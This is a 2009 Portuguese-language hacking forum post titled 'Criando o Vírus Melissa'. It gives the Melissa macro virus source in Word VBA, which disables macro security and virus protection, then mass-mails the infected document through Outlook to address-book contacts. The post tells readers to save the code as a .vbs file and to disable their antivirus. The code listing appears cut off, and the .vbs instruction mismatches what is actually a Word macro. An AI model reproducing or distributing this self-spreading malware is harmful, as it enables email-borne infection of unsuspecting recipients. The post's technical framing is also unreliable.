downhacker
Gostaria de reagir a esta mensagem? Crie uma conta em poucos cliques ou inicie sessão para continuar.


aonde vc encontra tudo
 
InícioÚltimas imagensProcurarRegistarEntrar

 

 Criando o Vírus Melissa

Ir para baixo 
AutorMensagem
Admin
Admin



Mensagens : 37
Data de inscrição : 05/06/2009

Criando o Vírus Melissa Empty
MensagemAssunto: Criando o Vírus Melissa   Criando o Vírus Melissa Icon_minitime1Sex Jun 05, 2009 2:43 am

→ Criando o Vírus Melissa
→ Cole o código em vermelho no bloco de notas e salve como Melissa.Vbs


Não ache que VBS é como bat, não execute nem para testar, pois só de estar escrevendo esse código aqui o Kaspersky apitou, tanto que deletou o arquivo. Tive que desativá-lo. Continuando...

É EXTREMAMENTE IMPORTANTE QUE VOCÊ NÃO TESTE, CASO CONTRÁRIO: JÁ ERA SEU PC EM ALGUNS SEGUNDOS
[red]Private Sub Document_Open()
On Error Resume Next
If System.PrivateProfileString("",
"HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security", "Level") <> ""
Then
CommandBars("Macro").Controls("Security...").Enabled = False
System.PrivateProfileString("",
"HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security", "Level") = 1&
Else
CommandBars("Tools").Controls("Macro").Enabled = False
Options.ConfirmConversions = (1 - 1): Options.VirusProtection = (1 - 1):
Options.SaveNormalPrompt = (1 - 1)
End If
Dim UngaDasOutlook, DasMapiName, BreakUmOffASlice
Set UngaDasOutlook = CreateObject("Outlook.Application")
Set DasMapiName = UngaDasOutlook.GetNameSpace("MAPI")
If System.PrivateProfileString("",
"HKEY_CURRENT_USER\Software\Microsoft\Office\", "Melissa?") <> "... by Kwyjibo"
Then
If UngaDasOutlook = "Outlook" Then
DasMapiName.Logon "profile", "password"
For y = 1 To DasMapiName.AddressLists.Count
Set AddyBook = DasMapiName.AddressLists(y)
x = 1
Set BreakUmOffASlice = UngaDasOutlook.CreateItem(0)
For oo = 1 To AddyBook.AddressEntries.Count
Peep = AddyBook.AddressEntries(x)
BreakUmOffASlice.Recipients.Add Peep
x = x + 1
If x > 50 Then oo = AddyBook.AddressEntries.Count
Next oo
BreakUmOffASlice.Subject = "Important Message From " &
Application.UserName
BreakUmOffASlice.Body = "Here is that document you asked for ... don't
show anyone else Wink"
BreakUmOffASlice.Attachments.Add ActiveDocument.FullName
BreakUmOffASlice.Send
Peep = ""[/red]


Já sabem né? Testou fodeu.

Lembren-se de desativar seu antivirus antes de salva.
Ir para o topo Ir para baixo
https://downhacker.directorioforuns.com
 
Criando o Vírus Melissa
Ir para o topo 
Página 1 de 1

Permissões neste sub-fórumNão podes responder a tópicos
downhacker :: Sua primeira categoria :: Seu primeiro fórum-
Ir para: